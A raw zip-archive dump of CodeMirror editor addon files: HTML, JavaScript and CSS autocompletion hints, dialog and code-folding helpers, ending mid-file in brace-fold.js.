  var langs = "ab aa af ak sq am ar an hy as av ae ay az bm ba eu be bn bh bi bs br bg my ca ch ce ny zh cv kw co cr hr cs da dv nl dz en eo et ee fo fj fi fr ff gl ka de el gn gu ht ha he hz hi ho hu ia id ie ga ig ik io is it iu ja jv kl kn kr ks kk km ki rw ky kv kg ko ku kj la lb lg li ln lo lt lu lv gv mk mg ms ml mt mi mr mh mn na nv nb nd ne ng nn no ii nr oc oj cu om or os pa pi fa pl ps pt qu rm rn ro ru sa sc sd se sm sg sr gd sn si sk sl so st es su sw ss sv ta te tg th ti bo tk tl tn to tr ts tt tw ty ug uk ur uz ve vi vo wa cy wo fy xh yi yo za zu".split(" ");
  var targets = ["_blank", "_self", "_top", "_parent"];
  var charsets = ["ascii", "utf-8", "utf-16", "latin1", "latin1"];
  var methods = ["get", "post", "put", "delete"];
  var encs = ["application/x-www-form-urlencoded", "multipart/form-data", "text/plain"];
  var media = ["all", "screen", "print", "embossed", "braille", "handheld", "print", "projection", "screen", "tty", "tv", "speech",
               "3d-glasses", "resolution [>][<][=] [X]", "device-aspect-ratio: X/Y", "orientation:portrait",
               "orientation:landscape", "device-height: [X]", "device-width: [X]"];
  var s = { attrs: {} }; // Simple tag, reused for a whole lot of tags

  var data = {
    a: {
      attrs: {
        href: null, ping: null, type: null,
        media: media,
        target: targets,
        hreflang: langs
      }
    },
    abbr: s,
    acronym: s,
    address: s,
    applet: s,
    area: {
      attrs: {
        alt: null, coords: null, href: null, target: null, ping: null,
        media: media, hreflang: langs, type: null,
        shape: ["default", "rect", "circle", "poly"]
      }
    },
    article: s,
    aside: s,
    audio: {
      attrs: {
        src: null, mediagroup: null,
        crossorigin: ["anonymous", "use-credentials"],
        preload: ["none", "metadata", "auto"],
        autoplay: ["", "autoplay"],
        loop: ["", "loop"],
        controls: ["", "controls"]
      }
    },
    b: s,
    base: { attrs: { href: null, target: targets } },
    basefont: s,
    bdi: s,
    bdo: s,
    big: s,
    blockquote: { attrs: { cite: null } },
    body: s,
    br: s,
    button: {
      attrs: {
        form: null, formaction: null, name: null, value: null,
        autofocus: ["", "autofocus"],
        disabled: ["", "autofocus"],
        formenctype: encs,
        formmethod: methods,
        formnovalidate: ["", "novalidate"],
        formtarget: targets,
        type: ["submit", "reset", "button"]
      }
    },
    canvas: { attrs: { width: null, height: null } },
    caption: s,
    center: s,
    cite: s,
    code: s,
    col: { attrs: { span: null } },
    colgroup: { attrs: { span: null } },
    command: {
      attrs: {
        type: ["command", "checkbox", "radio"],
        label: null, icon: null, radiogroup: null, command: null, title: null,
        disabled: ["", "disabled"],
        checked: ["", "checked"]
      }
    },
    data: { attrs: { value: null } },
    datagrid: { attrs: { disabled: ["", "disabled"], multiple: ["", "multiple"] } },
    datalist: { attrs: { data: null } },
    dd: s,
    del: { attrs: { cite: null, datetime: null } },
    details: { attrs: { open: ["", "open"] } },
    dfn: s,
    dir: s,
    div: s,
    dl: s,
    dt: s,
    em: s,
    embed: { attrs: { src: null, type: null, width: null, height: null } },
    eventsource: { attrs: { src: null } },
    fieldset: { attrs: { disabled: ["", "disabled"], form: null, name: null } },
    figcaption: s,
    figure: s,
    font: s,
    footer: s,
    form: {
      attrs: {
        action: null, name: null,
        "accept-charset": charsets,
        autocomplete: ["on", "off"],
        enctype: encs,
        method: methods,
        novalidate: ["", "novalidate"],
        target: targets
      }
    },
    frame: s,
    frameset: s,
    h1: s, h2: s, h3: s, h4: s, h5: s, h6: s,
    head: {
      attrs: {},
      children: ["title", "base", "link", "style", "meta", "script", "noscript", "command"]
    },
    header: s,
    hgroup: s,
    hr: s,
    html: {
      attrs: { manifest: null },
      children: ["head", "body"]
    },
    i: s,
    iframe: {
      attrs: {
        src: null, srcdoc: null, name: null, width: null, height: null,
        sandbox: ["allow-top-navigation", "allow-same-origin", "allow-forms", "allow-scripts"],
        seamless: ["", "seamless"]
      }
    },
    img: {
      attrs: {
        alt: null, src: null, ismap: null, usemap: null, width: null, height: null,
        crossorigin: ["anonymous", "use-credentials"]
      }
    },
    input: {
      attrs: {
        alt: null, dirname: null, form: null, formaction: null,
        height: null, list: null, max: null, maxlength: null, min: null,
        name: null, pattern: null, placeholder: null, size: null, src: null,
        step: null, value: null, width: null,
        accept: ["audio/*", "video/*", "image/*"],
        autocomplete: ["on", "off"],
        autofocus: ["", "autofocus"],
        checked: ["", "checked"],
        disabled: ["", "disabled"],
        formenctype: encs,
        formmethod: methods,
        formnovalidate: ["", "novalidate"],
        formtarget: targets,
        multiple: ["", "multiple"],
        readonly: ["", "readonly"],
        required: ["", "required"],
        type: ["hidden", "text", "search", "tel", "url", "email", "password", "datetime", "date", "month",
               "week", "time", "datetime-local", "number", "range", "color", "checkbox", "radio",
               "file", "submit", "image", "reset", "button"]
      }
    },
    ins: { attrs: { cite: null, datetime: null } },
    kbd: s,
    keygen: {
      attrs: {
        challenge: null, form: null, name: null,
        autofocus: ["", "autofocus"],
        disabled: ["", "disabled"],
        keytype: ["RSA"]
      }
    },
    label: { attrs: { "for": null, form: null } },
    legend: s,
    li: { attrs: { value: null } },
    link: {
      attrs: {
        href: null, type: null,
        hreflang: langs,
        media: media,
        sizes: ["all", "16x16", "16x16 32x32", "16x16 32x32 64x64"]
      }
    },
    map: { attrs: { name: null } },
    mark: s,
    menu: { attrs: { label: null, type: ["list", "context", "toolbar"] } },
    meta: {
      attrs: {
        content: null,
        charset: charsets,
        name: ["viewport", "application-name", "author", "description", "generator", "keywords"],
        "http-equiv": ["content-language", "content-type", "default-style", "refresh"]
      }
    },
    meter: { attrs: { value: null, min: null, low: null, high: null, max: null, optimum: null } },
    nav: s,
    noframes: s,
    noscript: s,
    object: {
      attrs: {
        data: null, type: null, name: null, usemap: null, form: null, width: null, height: null,
        typemustmatch: ["", "typemustmatch"]
      }
    },
    ol: { attrs: { reversed: ["", "reversed"], start: null, type: ["1", "a", "A", "i", "I"] } },
    optgroup: { attrs: { disabled: ["", "disabled"], label: null } },
    option: { attrs: { disabled: ["", "disabled"], label: null, selected: ["", "selected"], value: null } },
    output: { attrs: { "for": null, form: null, name: null } },
    p: s,
    param: { attrs: { name: null, value: null } },
    pre: s,
    progress: { attrs: { value: null, max: null } },
    q: { attrs: { cite: null } },
    rp: s,
    rt: s,
    ruby: s,
    s: s,
    samp: s,
    script: {
      attrs: {
        type: ["text/javascript"],
        src: null,
        async: ["", "async"],
        defer: ["", "defer"],
        charset: charsets
      }
    },
    section: s,
    select: {
      attrs: {
        form: null, name: null, size: null,
        autofocus: ["", "autofocus"],
        disabled: ["", "disabled"],
        multiple: ["", "multiple"]
      }
    },
    small: s,
    source: { attrs: { src: null, type: null, media: null } },
    span: s,
    strike: s,
    strong: s,
    style: {
      attrs: {
        type: ["text/css"],
        media: media,
        scoped: null
      }
    },
    sub: s,
    summary: s,
    sup: s,
    table: s,
    tbody: s,
    td: { attrs: { colspan: null, rowspan: null, headers: null } },
    textarea: {
      attrs: {
        dirname: null, form: null, maxlength: null, name: null, placeholder: null,
        rows: null, cols: null,
        autofocus: ["", "autofocus"],
        disabled: ["", "disabled"],
        readonly: ["", "readonly"],
        required: ["", "required"],
        wrap: ["soft", "hard"]
      }
    },
    tfoot: s,
    th: { attrs: { colspan: null, rowspan: null, headers: null, scope: ["row", "col", "rowgroup", "colgroup"] } },
    thead: s,
    time: { attrs: { datetime: null } },
    title: s,
    tr: s,
    track: {
      attrs: {
        src: null, label: null, "default": null,
        kind: ["subtitles", "captions", "descriptions", "chapters", "metadata"],
        srclang: langs
      }
    },
    tt: s,
    u: s,
    ul: s,
    "var": s,
    video: {
      attrs: {
        src: null, poster: null, width: null, height: null,
        crossorigin: ["anonymous", "use-credentials"],
        preload: ["auto", "metadata", "none"],
        autoplay: ["", "autoplay"],
        mediagroup: ["movie"],
        muted: ["", "muted"],
        controls: ["", "controls"]
      }
    },
    wbr: s
  };

  var globalAttrs = {
    accesskey: ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9"],
    "class": null,
    contenteditable: ["true", "false"],
    contextmenu: null,
    dir: ["ltr", "rtl", "auto"],
    draggable: ["true", "false", "auto"],
    dropzone: ["copy", "move", "link", "string:", "file:"],
    hidden: ["hidden"],
    id: null,
    inert: ["inert"],
    itemid: null,
    itemprop: null,
    itemref: null,
    itemscope: ["itemscope"],
    itemtype: null,
    lang: ["en", "es"],
    spellcheck: ["true", "false"],
    style: null,
    tabindex: ["1", "2", "3", "4", "5", "6", "7", "8", "9"],
    title: null,
    translate: ["yes", "no"],
    onclick: null,
    rel: ["stylesheet", "alternate", "author", "bookmark", "help", "license", "next", "nofollow", "noreferrer", "prefetch", "prev", "search", "tag"]
  };
  function populate(obj) {
    for (var attr in globalAttrs) if (globalAttrs.hasOwnProperty(attr))
      obj.attrs[attr] = globalAttrs[attr];
  }

  populate(s);
  for (var tag in data) if (data.hasOwnProperty(tag) && data[tag] != s)
    populate(data[tag]);

  CodeMirror.htmlSchema = data;
  function htmlHint(cm, options) {
    var local = {schemaInfo: data};
    if (options) for (var opt in options) local[opt] = options[opt];
    return CodeMirror.hint.xml(cm, local);
  }
  CodeMirror.registerHelper("hint", "html", htmlHint);
});
PK     ]t]­U‹”%  %  /  assets/codemirror/addon/hint/javascript-hint.jsnu ÕIw¶´        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  var Pos = CodeMirror.Pos;

  function forEach(arr, f) {
    for (var i = 0, e = arr.length; i < e; ++i) f(arr[i]);
  }

  function arrayContains(arr, item) {
    if (!Array.prototype.indexOf) {
      var i = arr.length;
      while (i--) {
        if (arr[i] === item) {
          return true;
        }
      }
      return false;
    }
    return arr.indexOf(item) != -1;
  }

  function scriptHint(editor, keywords, getToken, options) {
    // Find the token at the cursor
    var cur = editor.getCursor(), token = getToken(editor, cur);
    if (/\b(?:string|comment)\b/.test(token.type)) return;
    token.state = CodeMirror.innerMode(editor.getMode(), token.state).state;

    // If it's not a 'word-style' token, ignore the token.
    if (!/^[\w$_]*$/.test(token.string)) {
      token = {start: cur.ch, end: cur.ch, string: "", state: token.state,
               type: token.string == "." ? "property" : null};
    } else if (token.end > cur.ch) {
      token.end = cur.ch;
      token.string = token.string.slice(0, cur.ch - token.start);
    }

    var tprop = token;
    // If it is a property, find out what it is a property of.
    while (tprop.type == "property") {
      tprop = getToken(editor, Pos(cur.line, tprop.start));
      if (tprop.string != ".") return;
      tprop = getToken(editor, Pos(cur.line, tprop.start));
      if (!context) var context = [];
      context.push(tprop);
    }
    return {list: getCompletions(token, context, keywords, options),
            from: Pos(cur.line, token.start),
            to: Pos(cur.line, token.end)};
  }

  function javascriptHint(editor, options) {
    return scriptHint(editor, javascriptKeywords,
                      function (e, cur) {return e.getTokenAt(cur);},
                      options);
  };
  CodeMirror.registerHelper("hint", "javascript", javascriptHint);

  function getCoffeeScriptToken(editor, cur) {
  // This getToken, it is for coffeescript, imitates the behavior of
  // getTokenAt method in javascript.js, that is, returning "property"
  // type and treat "." as indepenent token.
    var token = editor.getTokenAt(cur);
    if (cur.ch == token.start + 1 && token.string.charAt(0) == '.') {
      token.end = token.start;
      token.string = '.';
      token.type = "property";
    }
    else if (/^\.[\w$_]*$/.test(token.string)) {
      token.type = "property";
      token.start++;
      token.string = token.string.replace(/\./, '');
    }
    return token;
  }

  function coffeescriptHint(editor, options) {
    return scriptHint(editor, coffeescriptKeywords, getCoffeeScriptToken, options);
  }
  CodeMirror.registerHelper("hint", "coffeescript", coffeescriptHint);

  var stringProps = ("charAt charCodeAt indexOf lastIndexOf substring substr slice trim trimLeft trimRight " +
                     "toUpperCase toLowerCase split concat match replace search").split(" ");
  var arrayProps = ("length concat join splice push pop shift unshift slice reverse sort indexOf " +
                    "lastIndexOf every some filter forEach map reduce reduceRight ").split(" ");
  var funcProps = "prototype apply call bind".split(" ");
  var javascriptKeywords = ("break case catch continue debugger default delete do else false finally for function " +
                  "if in instanceof new null return switch throw true try typeof var void while with").split(" ");
  var coffeescriptKeywords = ("and break catch class continue delete do else extends false finally for " +
                  "if in instanceof isnt new no not null of off on or return switch then throw true try typeof until void while with yes").split(" ");

  function forAllProps(obj, callback) {
    if (!Object.getOwnPropertyNames || !Object.getPrototypeOf) {
      for (var name in obj) callback(name)
    } else {
      for (var o = obj; o; o = Object.getPrototypeOf(o))
        Object.getOwnPropertyNames(o).forEach(callback)
    }
  }

  function getCompletions(token, context, keywords, options) {
    var found = [], start = token.string, global = options && options.globalScope || window;
    function maybeAdd(str) {
      if (str.lastIndexOf(start, 0) == 0 && !arrayContains(found, str)) found.push(str);
    }
    function gatherCompletions(obj) {
      if (typeof obj == "string") forEach(stringProps, maybeAdd);
      else if (obj instanceof Array) forEach(arrayProps, maybeAdd);
      else if (obj instanceof Function) forEach(funcProps, maybeAdd);
      forAllProps(obj, maybeAdd)
    }

    if (context && context.length) {
      // If this is a property, see if it belongs to some object we can
      // find in the current environment.
      var obj = context.pop(), base;
      if (obj.type && obj.type.indexOf("variable") === 0) {
        if (options && options.additionalContext)
          base = options.additionalContext[obj.string];
        if (!options || options.useGlobalScope !== false)
          base = base || global[obj.string];
      } else if (obj.type == "string") {
        base = "";
      } else if (obj.type == "atom") {
        base = 1;
      } else if (obj.type == "function") {
        if (global.jQuery != null && (obj.string == '$' || obj.string == 'jQuery') &&
            (typeof global.jQuery == 'function'))
          base = global.jQuery();
        else if (global._ != null && (obj.string == '_') && (typeof global._ == 'function'))
          base = global._();
      }
      while (base != null && context.length)
        base = base[context.pop().string];
      if (base != null) gatherCompletions(base);
    } else {
      // If not, just look in the global object and any local scope
      // (reading into JS mode internals to get at the local and global variables)
      for (var v = token.state.localVars; v; v = v.next) maybeAdd(v.name);
      for (var v = token.state.globalVars; v; v = v.next) maybeAdd(v.name);
      if (!options || options.useGlobalScope !== false)
        gatherCompletions(global);
      forEach(keywords, maybeAdd);
    }
    return found;
  }
});
PK     ]t][«	£u  u  (  assets/codemirror/addon/hint/css-hint.jsnu ÕIw¶´        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("../../mode/css/css"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "../../mode/css/css"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var pseudoClasses = {link: 1, visited: 1, active: 1, hover: 1, focus: 1,
                       "first-letter": 1, "first-line": 1, "first-child": 1,
                       before: 1, after: 1, lang: 1};

  CodeMirror.registerHelper("hint", "css", function(cm) {
    var cur = cm.getCursor(), token = cm.getTokenAt(cur);
    var inner = CodeMirror.innerMode(cm.getMode(), token.state);
    if (inner.mode.name != "css") return;

    if (token.type == "keyword" && "!important".indexOf(token.string) == 0)
      return {list: ["!important"], from: CodeMirror.Pos(cur.line, token.start),
              to: CodeMirror.Pos(cur.line, token.end)};

    var start = token.start, end = cur.ch, word = token.string.slice(0, end - start);
    if (/[^\w$_-]/.test(word)) {
      word = ""; start = end = cur.ch;
    }

    var spec = CodeMirror.resolveMode("text/css");

    var result = [];
    function add(keywords) {
      for (var name in keywords)
        if (!word || name.lastIndexOf(word, 0) == 0)
          result.push(name);
    }

    var st = inner.state.state;
    if (st == "pseudo" || token.type == "variable-3") {
      add(pseudoClasses);
    } else if (st == "block" || st == "maybeprop") {
      add(spec.propertyKeywords);
    } else if (st == "prop" || st == "parens" || st == "at" || st == "params") {
      add(spec.valueKeywords);
      add(spec.colorKeywords);
    } else if (st == "media" || st == "media_parens") {
      add(spec.mediaTypes);
      add(spec.mediaFeatures);
    }

    if (result.length) return {
      list: result,
      from: CodeMirror.Pos(cur.line, start),
      to: CodeMirror.Pos(cur.line, end)
    };
  });
});
PK     ]t]BÅÃŽ  Ž  )  assets/codemirror/addon/dialog/dialog.cssnu ÕIw¶´        .CodeMirror-dialog{position:absolute;left:0;right:0;background:inherit;z-index:15;padding:.1em .8em;overflow:hidden;color:inherit}.CodeMirror-dialog-top{border-bottom:1px solid #eee;top:0}.CodeMirror-dialog-bottom{border-top:1px solid #eee;bottom:0}.CodeMirror-dialog input{border:none;outline:0;background:0 0;width:20em;color:inherit;font-family:monospace}.CodeMirror-dialog button{font-size:70%}PK     ]t]+DÙé‡  ‡  (  assets/codemirror/addon/dialog/dialog.jsnu ÕIw¶´        'use strict';(function(c){"object"==typeof exports&&"object"==typeof module?c(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],c):c(CodeMirror)})(function(c){function l(a,c,b){a=a.getWrapperElement().appendChild(document.createElement("div"));a.className=b?"CodeMirror-dialog CodeMirror-dialog-bottom":"CodeMirror-dialog CodeMirror-dialog-top";"string"==typeof c?a.innerHTML=c:a.appendChild(c);return a}function m(a,c){a.state.currentNotificationClose&&
a.state.currentNotificationClose();a.state.currentNotificationClose=c}c.defineExtension("openDialog",function(a,g,b){function e(a){if("string"==typeof a)d.value=a;else if(!h&&(h=!0,f.parentNode.removeChild(f),k.focus(),b.onClose))b.onClose(f)}b||(b={});m(this,null);var f=l(this,a,b.bottom),h=!1,k=this,d=f.getElementsByTagName("input")[0];if(d){d.focus();b.value&&(d.value=b.value,!1!==b.selectValueOnOpen&&d.select());if(b.onInput)c.on(d,"input",function(a){b.onInput(a,d.value,e)});if(b.onKeyUp)c.on(d,
"keyup",function(a){b.onKeyUp(a,d.value,e)});c.on(d,"keydown",function(a){if(!(b&&b.onKeyDown&&b.onKeyDown(a,d.value,e))){if(27==a.keyCode||!1!==b.closeOnEnter&&13==a.keyCode)d.blur(),c.e_stop(a),e();13==a.keyCode&&g(d.value,a)}});if(!1!==b.closeOnBlur)c.on(d,"blur",e)}else if(a=f.getElementsByTagName("button")[0]){c.on(a,"click",function(){e();k.focus()});if(!1!==b.closeOnBlur)c.on(a,"blur",e);a.focus()}return e});c.defineExtension("openConfirm",function(a,g,b){function e(){h||(h=!0,f.parentNode.removeChild(f),
k.focus())}m(this,null);var f=l(this,a,b&&b.bottom);a=f.getElementsByTagName("button");var h=!1,k=this,d=1;a[0].focus();for(b=0;b<a.length;++b){var n=a[b];(function(a){c.on(n,"click",function(b){c.e_preventDefault(b);e();a&&a(k)})})(g[b]);c.on(n,"blur",function(){--d;setTimeout(function(){0>=d&&e()},200)});c.on(n,"focus",function(){++d})}});c.defineExtension("openNotification",function(a,g){function b(){f||(f=!0,clearTimeout(h),e.parentNode.removeChild(e))}m(this,b);var e=l(this,a,g&&g.bottom),f=
!1,h;a=g&&"undefined"!==typeof g.duration?g.duration:5E3;c.on(e,"click",function(a){c.e_preventDefault(a);b()});a&&(h=setTimeout(b,a));return b})});
PK     ]t]dEd“£  £  *  assets/codemirror/addon/fold/foldgutter.jsnu ÕIw¶´        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/5/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("./foldcode"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "./foldcode"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineOption("foldGutter", false, function(cm, val, old) {
    if (old && old != CodeMirror.Init) {
      cm.clearGutter(cm.state.foldGutter.options.gutter);
      cm.state.foldGutter = null;
      cm.off("gutterClick", onGutterClick);
      cm.off("changes", onChange);
      cm.off("viewportChange", onViewportChange);
      cm.off("fold", onFold);
      cm.off("unfold", onFold);
      cm.off("swapDoc", onChange);
      cm.off("optionChange", optionChange);
    }
    if (val) {
      cm.state.foldGutter = new State(parseOptions(val));
      updateInViewport(cm);
      cm.on("gutterClick", onGutterClick);
      cm.on("changes", onChange);
      cm.on("viewportChange", onViewportChange);
      cm.on("fold", onFold);
      cm.on("unfold", onFold);
      cm.on("swapDoc", onChange);
      cm.on("optionChange", optionChange);
    }
  });

  var Pos = CodeMirror.Pos;

  function State(options) {
    this.options = options;
    this.from = this.to = 0;
  }

  function parseOptions(opts) {
    if (opts === true) opts = {};
    if (opts.gutter == null) opts.gutter = "CodeMirror-foldgutter";
    if (opts.indicatorOpen == null) opts.indicatorOpen = "CodeMirror-foldgutter-open";
    if (opts.indicatorFolded == null) opts.indicatorFolded = "CodeMirror-foldgutter-folded";
    return opts;
  }

  function isFolded(cm, line) {
    var marks = cm.findMarks(Pos(line, 0), Pos(line + 1, 0));
    for (var i = 0; i < marks.length; ++i) {
      if (marks[i].__isFold) {
        var fromPos = marks[i].find(-1);
        if (fromPos && fromPos.line === line)
          return marks[i];
      }
    }
  }

  function marker(spec) {
    if (typeof spec == "string") {
      var elt = document.createElement("div");
      elt.className = spec + " CodeMirror-guttermarker-subtle";
      return elt;
    } else {
      return spec.cloneNode(true);
    }
  }

  function updateFoldInfo(cm, from, to) {
    var opts = cm.state.foldGutter.options, cur = from - 1;
    var minSize = cm.foldOption(opts, "minFoldSize");
    var func = cm.foldOption(opts, "rangeFinder");
    // we can reuse the built-in indicator element if its className matches the new state
    var clsFolded = typeof opts.indicatorFolded == "string" && classTest(opts.indicatorFolded);
    var clsOpen = typeof opts.indicatorOpen == "string" && classTest(opts.indicatorOpen);
    cm.eachLine(from, to, function(line) {
      ++cur;
      var mark = null;
      var old = line.gutterMarkers;
      if (old) old = old[opts.gutter];
      if (isFolded(cm, cur)) {
        if (clsFolded && old && clsFolded.test(old.className)) return;
        mark = marker(opts.indicatorFolded);
      } else {
        var pos = Pos(cur, 0);
        var range = func && func(cm, pos);
        if (range && range.to.line - range.from.line >= minSize) {
          if (clsOpen && old && clsOpen.test(old.className)) return;
          mark = marker(opts.indicatorOpen);
        }
      }
      if (!mark && !old) return;
      cm.setGutterMarker(line, opts.gutter, mark);
    });
  }

  // copied from CodeMirror/src/util/dom.js
  function classTest(cls) { return new RegExp("(^|\\s)" + cls + "(?:$|\\s)\\s*") }

  function updateInViewport(cm) {
    var vp = cm.getViewport(), state = cm.state.foldGutter;
    if (!state) return;
    cm.operation(function() {
      updateFoldInfo(cm, vp.from, vp.to);
    });
    state.from = vp.from; state.to = vp.to;
  }

  function onGutterClick(cm, line, gutter) {
    var state = cm.state.foldGutter;
    if (!state) return;
    var opts = state.options;
    if (gutter != opts.gutter) return;
    var folded = isFolded(cm, line);
    if (folded) folded.clear();
    else cm.foldCode(Pos(line, 0), opts);
  }

  function optionChange(cm, option) {
    if (option == "mode") onChange(cm)
  }

  function onChange(cm) {
    var state = cm.state.foldGutter;
    if (!state) return;
    var opts = state.options;
    state.from = state.to = 0;
    clearTimeout(state.changeUpdate);
    state.changeUpdate = setTimeout(function() { updateInViewport(cm); }, opts.foldOnChangeTimeSpan || 600);
  }

  function onViewportChange(cm) {
    var state = cm.state.foldGutter;
    if (!state) return;
    var opts = state.options;
    clearTimeout(state.changeUpdate);
    state.changeUpdate = setTimeout(function() {
      var vp = cm.getViewport();
      if (state.from == state.to || vp.from - state.to > 20 || state.from - vp.to > 20) {
        updateInViewport(cm);
      } else {
        cm.operation(function() {
          if (vp.from < state.from) {
            updateFoldInfo(cm, vp.from, state.from);
            state.from = vp.from;
          }
          if (vp.to > state.to) {
            updateFoldInfo(cm, state.to, vp.to);
            state.to = vp.to;
          }
        });
      }
    }, opts.updateViewportTimeSpan || 400);
  }

  function onFold(cm, from) {
    var state = cm.state.foldGutter;
    if (!state) return;
    var line = from.line;
    if (line >= state.from && line < state.to)
      updateFoldInfo(cm, line, line + 1);
  }
});
PK     ]t]"�Iqy  y  (  assets/codemirror/addon/fold/foldcode.jsnu ÕIw¶´        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/5/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  function doFold(cm, pos, options, force) {
    if (options && options.call) {
      var finder = options;
      options = null;
    } else {
      var finder = getOption(cm, options, "rangeFinder");
    }
    if (typeof pos == "number") pos = CodeMirror.Pos(pos, 0);
    var minSize = getOption(cm, options, "minFoldSize");

    function getRange(allowFolded) {
      var range = finder(cm, pos);
      if (!range || range.to.line - range.from.line < minSize) return null;
      if (force === "fold") return range;

      var marks = cm.findMarksAt(range.from);
      for (var i = 0; i < marks.length; ++i) {
        if (marks[i].__isFold) {
          if (!allowFolded) return null;
          range.cleared = true;
          marks[i].clear();
        }
      }
      return range;
    }

    var range = getRange(true);
    if (getOption(cm, options, "scanUp")) while (!range && pos.line > cm.firstLine()) {
      pos = CodeMirror.Pos(pos.line - 1, 0);
      range = getRange(false);
    }
    if (!range || range.cleared || force === "unfold") return;

    var myWidget = makeWidget(cm, options, range);
    CodeMirror.on(myWidget, "mousedown", function(e) {
      myRange.clear();
      CodeMirror.e_preventDefault(e);
    });
    var myRange = cm.markText(range.from, range.to, {
      replacedWith: myWidget,
      clearOnEnter: getOption(cm, options, "clearOnEnter"),
      __isFold: true
    });
    myRange.on("clear", function(from, to) {
      CodeMirror.signal(cm, "unfold", cm, from, to);
    });
    CodeMirror.signal(cm, "fold", cm, range.from, range.to);
  }

  function makeWidget(cm, options, range) {
    var widget = getOption(cm, options, "widget");

    if (typeof widget == "function") {
      widget = widget(range.from, range.to);
    }

    if (typeof widget == "string") {
      var text = document.createTextNode(widget);
      widget = document.createElement("span");
      widget.appendChild(text);
      widget.className = "CodeMirror-foldmarker";
    } else if (widget) {
      widget = widget.cloneNode(true)
    }
    return widget;
  }

  // Clumsy backwards-compatible interface
  CodeMirror.newFoldFunction = function(rangeFinder, widget) {
    return function(cm, pos) { doFold(cm, pos, {rangeFinder: rangeFinder, widget: widget}); };
  };

  // New-style interface
  CodeMirror.defineExtension("foldCode", function(pos, options, force) {
    doFold(this, pos, options, force);
  });

  CodeMirror.defineExtension("isFolded", function(pos) {
    var marks = this.findMarksAt(pos);
    for (var i = 0; i < marks.length; ++i)
      if (marks[i].__isFold) return true;
  });

  CodeMirror.commands.toggleFold = function(cm) {
    cm.foldCode(cm.getCursor());
  };
  CodeMirror.commands.fold = function(cm) {
    cm.foldCode(cm.getCursor(), null, "fold");
  };
  CodeMirror.commands.unfold = function(cm) {
    cm.foldCode(cm.getCursor(), { scanUp: false }, "unfold");
  };
  CodeMirror.commands.foldAll = function(cm) {
    cm.operation(function() {
      for (var i = cm.firstLine(), e = cm.lastLine(); i <= e; i++)
        cm.foldCode(CodeMirror.Pos(i, 0), { scanUp: false }, "fold");
    });
  };
  CodeMirror.commands.unfoldAll = function(cm) {
    cm.operation(function() {
      for (var i = cm.firstLine(), e = cm.lastLine(); i <= e; i++)
        cm.foldCode(CodeMirror.Pos(i, 0), { scanUp: false }, "unfold");
    });
  };

  CodeMirror.registerHelper("fold", "combine", function() {
    var funcs = Array.prototype.slice.call(arguments, 0);
    return function(cm, start) {
      for (var i = 0; i < funcs.length; ++i) {
        var found = funcs[i](cm, start);
        if (found) return found;
      }
    };
  });

  CodeMirror.registerHelper("fold", "auto", function(cm, start) {
    var helpers = cm.getHelpers(start, "fold");
    for (var i = 0; i < helpers.length; i++) {
      var cur = helpers[i](cm, start);
      if (cur) return cur;
    }
  });

  var defaultOptions = {
    rangeFinder: CodeMirror.fold.auto,
    widget: "\u2194",
    minFoldSize: 0,
    scanUp: false,
    clearOnEnter: true
  };

  CodeMirror.defineOption("foldOptions", null);

  function getOption(cm, options, name) {
    if (options && options[name] !== undefined)
      return options[name];
    var editorOptions = cm.options.foldOptions;
    if (editorOptions && editorOptions[name] !== undefined)
      return editorOptions[name];
    return defaultOptions[name];
  }

  CodeMirror.defineExtension("foldOption", function(options, name) {
    return getOption(this, options, name);
  });
});
PK     ]t]ÿ‹’E{  {  *  assets/codemirror/addon/fold/brace-fold.jsnu ÕIw¶´        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/5/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

function bracketFolding(pairs) {
  return function(cm, start) {
    var line = start.line, lineText = cm.getLine(line);

    function findOpening(pair) {
      var tokenType;
      for (var at = start.ch, pass = 0;;) {
        var found = at <= 0 ? -1 : lineText.lastIndexOf(pair[0], at - 1);
        if (found == -1) {
          if (pass == 1) break;
          pass = 1;
          at = lineText.length;
          continue;
        }
        if (pass == 1 && found < start.ch) break;
        tokenType = cm.getTokenTypeAt(CodeMirror.Pos(line, found + 1));
        if (!/^(comment|string)/.test(tokenType)) return {ch: found + 1, tokenType: tokenType, pair: pair};
        at = found - 1;
      }
    }

    function findRange(found) {
      var count = 1, lastLine = cm.lastLine(), end, startCh = found.ch, endCh
      outer: for (var i = line; i <= lastLine; ++i) {
        var text = cm.getLine(i), pos = i == line ? startCh : 0;
        for (;;) {
          var nextOpen = text.indexOf(found.pair[0], pos), nextClose = text.indexOf(found.pair[1], pos);
          if (nextOpen < 0) nextOpen = text.length;
